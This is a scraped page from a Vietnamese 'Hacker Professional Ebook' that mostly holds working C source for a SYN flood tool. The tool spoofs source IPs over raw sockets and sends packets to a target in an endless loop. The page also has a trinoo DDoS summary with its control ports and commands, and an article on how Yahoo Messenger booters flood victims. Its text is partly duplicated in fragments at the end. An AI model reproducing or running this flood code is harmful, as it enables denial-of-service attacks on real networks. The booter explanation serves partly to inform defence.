1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 299 doc

6 110 0

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Nội dung

{ int portNum=0; DWORD dw; HANDLE hThread=NULL; char putInfo; if(argc!=3) { printf("%s\n",right); printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]); return 1; } if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 2; } sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL, 0,WSA_FLAG_OVERLAPPED); if(sockMain==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return 3; } ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return 4; } ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*) &TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return 5; } portNum=atoi(argv[2]); memset(&sockAddr,0,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; sockAddr.sin_addr.s_addr =inet_addr(argv[1]); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1; ipheader.frag_and_flags = 0; ipheader.ttl = 128; ipheader.proto = IPPROTO_TCP; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); ipheader.destIP = inet_addr(argv[1]); tcpheader.th_dport=htons(portNum); tcpheader.th_sport = htons(portNum); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = 0; tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0); tcpheader.th_flag = 2; tcpheader.th_win = htons(16384); tcpheader.th_urp = 0; tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); printf("%s\n",right); hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood, 0,CREATE_SUSPENDED,&dw); SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST); ResumeThread(hThread); printf("Warning[start] \nPress any key to stop!\n"); putInfo=getchar(); TerminateThread(hThread,0); WSACleanup(); printf("\nStopd \n"); return 0; } int flood() { while(1) { if(SendSEQ++==65536) SendSEQ=1; if(activPort++==40010) activPort=1000; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(activPort); tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); if(ErrorCode==SOCKET_ERROR) { printf("\nCan't connect this IP!Pls check it.\n"); ExitThread(1); } // Sleep(1000); } return 0; } cp_pwhacker(vniss) trinoo Attacks: UDP flood Communication: 27665/tcp from attacker to "master(s)" 27444/udp from "master(s)" to "daemons" command l44adsl [arguments] 31335/udp from "daemons" to "master(s)" Encryption: Master encrypts daemon list using Blowfish Master execution protected by crypt() encrypted password Daemon commands protected by crypt() encrypted passwords Priviledges: Root not required (uses unpriviledged ports) Forensics: Master IP addresses visible (+) Enough strings to recognize daemon/master easily (+) Listening TCP/UDP ports can be seen with "lsof" (+) Attacker session not encrypted (+) "Root Kits" hide processes/files/directories (-) Ethernet switches make monitoring TCP/UDP traffic difficult (-) Đọc Thêm Nè: http://staff.washington.edu/dittrich/misc/trinoo.analysis Yahoo Booter và những tư duy trong đó :D Chào toàn thể mọi người. Ngày nay hệ thống tin nhắn trên mạng đã trở nên phổ biến. Tại Việt Nam ta, hệ thống tin nhắn, chat, thư điện tử của Yahoo trở lên rất phổ biến cũng bởi hệ thống này đăng kí không khó, miễn phí nhiều chức năng. Nhưng bên cạnh đó cũng xảy ra không ít phiền toái cho những người chat bởi những người sử dụng chương trình boot. Có người thì sợ bị boot đến treo cả máy Tôi viết bài này là để một số người hiểu được nguyên lí của chương trình boot yahoo và những biện pháp phòng tránh boot. Với những người thích nghiên cứu về DoS thì theo tôi sau khi đọc xong bài này cũng cảm thấy có 1 tư duy thông minh trong chương trình boot yahoo. Bài này có lẽ rất có ích với mầy chị em xinh đẹp, mấy chị em có người yêu hay ghen Đầu tiên hãy thử nghĩ về chương trình chat của yahoo. Đặc điểm của nó là hễ có ai đó nhắn tin cho bạn thì lập tức phía máy bạn bật lên một cửa sổ cùng với âm thanh vang lên Thông thường bao nhiêu người chat với bạn thì có bấy nhiêu cửa sổ hiện lên. Mỗi khi mở một cửa sổ theo nguyên lí làm việc của hệ điều hành thì nó phải cấp phát một vùng nhớ RAM để cho cửa sổ đó làm việc, thậm chí khi cửa sổ làm việc có yêu cầu quá nhiều về bộ nhớ thì đến ổ cứng cũng tham gia vào việc cache (nhớ đệm). Mỗi khi mở một cửa sổ là một quá trình xử lí của cả hệ thống nói chung và của Vi xử lí (Chip) nói riêng. Do đặc điểm của chương trình chat yahoo thì hãy tưởng tượng có 100 người người ta liền một lúc nhắn tin cho bạn, chat với bạn thì sao nhỉ Hệ điều hành sẽ mở 100 cửa sổ, lượng bộ nhớ RAM cần dùng lúc này sẽ tăng lên gấp 100 lần so với khi chat với một người, quá trình xử lí thông tin bị đột biến. Hệ điều hành và vi xử lí bị rơi vào một quá trình xử lí tương đối nặng nhọc Lợi dụng đặc điểm này mà chương trình boot hoạt động. Người boot khi muốn boot một ai đó, thì người boot phải làm sao mà lập được 100 cái hay càng nhiều càng tốt. Chương trình boot sẵn có 1 danh sách các máy chủ yahoo cho việc đăng nhập. Chương trình boot tiến hành đăng nhập 100 nick trên vào các máy chủ đó. Và bây giờ là điền tên nạn nhân vào ô cần boot. Bấm nút 1 cái, chương trình boot tự động gửi các tin nhắn có nội dung rất lung tung đến nạn nhân, 100 cái cùng gửi liền. Do đó nếu bạn bị boot thì có cái lạ là toàn nick có tên rất củ chuối gì gì đấy không ở trong list của mình. Lượng tin nhắn của mỗi nick tham gia boot cũng tương đối ! Háy nhân nó lên với 100 và tính thử ra coi máy bạn đã phải chịu những gì nào Kết quả thì sao nhỉ, toàn màn hình của bạn kín hết nick boot. Hình minh họa 1 yahoo booter: . IP!Pls check it. "); ExitThread(1); } // Sleep(1000); } return 0; } cp_pwhacker(vniss) trinoo Attacks: UDP flood Communication: 27665/tcp from attacker to "master(s)"

Ngày đăng: 04/07/2014, 12:20